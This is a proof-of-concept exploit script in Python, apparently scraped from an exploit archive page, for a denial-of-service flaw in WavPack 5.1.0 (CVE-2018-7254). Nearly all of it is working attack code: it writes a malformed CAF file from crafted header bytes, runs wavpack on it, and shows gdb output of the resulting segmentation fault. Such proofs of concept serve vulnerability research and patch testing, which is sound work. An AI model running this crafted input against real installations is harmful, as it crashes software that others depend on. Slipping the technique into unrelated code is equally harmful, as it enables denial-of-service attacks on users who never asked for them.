44 lines
No EOL
1.1 KiB
Python
Executable file
44 lines
No EOL
1.1 KiB
Python
Executable file
# Exploit title: Wavpack 5.1.0 - Denial of Service
|
|
# Date: 20.02.2018
|
|
# Exploit Author: r4xis
|
|
# https://github.com/r4xis
|
|
#
|
|
# Vendor Homepage: http://www.wavpack.com/
|
|
# Software Links: http://www.wavpack.com/downloads.html
|
|
# https://github.com/dbry/WavPack
|
|
#
|
|
#
|
|
# Version: Wavpack 5.1.0
|
|
# Tested on: Debian 9.3.0 64 bit
|
|
# Windows 7 32 bit and 64 bit
|
|
# Windows 8 64 bit
|
|
#
|
|
#
|
|
# CVE: CVE-2018-7254
|
|
# CVE Details:
|
|
# https://nvd.nist.gov/vuln/detail/CVE-2018-7254
|
|
# https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=889274
|
|
# https://github.com/dbry/WavPack/issues/26
|
|
|
|
|
|
import os
|
|
|
|
head = "\x63\x61\x66\x66"
|
|
version = "\x00\x01"
|
|
junk1 = "\x00"*(0xa0-6)
|
|
crash = "\x80"
|
|
junk2 = "\x00"*100
|
|
|
|
f=open("poc.caf", 'w')
|
|
f.write(head+version+junk1+crash+junk2)
|
|
f.close()
|
|
|
|
os.system("wavpack poc.caf")
|
|
|
|
'''
|
|
Debian gdb output:
|
|
Program received signal SIGSEGV, Segmentation fault.
|
|
__memmove_sse2_unaligned_erms ()
|
|
at ../sysdeps/x86_64/multiarch/../multiarch/memmove-vec-unaligned-erms.S:333
|
|
333 ../sysdeps/x86_64/multiarch/../multiarch/memmove-vec-unaligned-erms.S: No such file or directory.
|
|
''' |